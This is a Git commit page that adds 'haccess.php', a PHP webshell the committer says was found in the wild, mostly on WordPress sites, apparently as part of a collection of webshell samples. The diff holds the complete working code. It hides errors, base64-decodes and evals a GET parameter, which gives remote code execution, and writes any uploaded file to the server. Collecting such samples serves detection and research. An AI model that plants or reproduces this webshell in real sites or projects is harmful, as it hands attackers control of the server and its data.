php: add haccess.php

Simple webshell found in the wild - usually on wordpress stuff but have found it elsewhere
This commit is contained in:
H 2019-02-19 15:25:50 +00:00 committed by GitHub
parent f081f1e321
commit 7bb8544fb0
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

11
php/haccess.php Normal file
View file

@ -0,0 +1,11 @@
<?php
error_reporting(0);
$ev = $_GET["ev"];
if (isset($ev) && !empty($ev))
{
eval(base64_decode($ev));
exit;
}
(@copy($_FILES["file"]["tmp_name"], $_FILES["file"]["name"])); ?>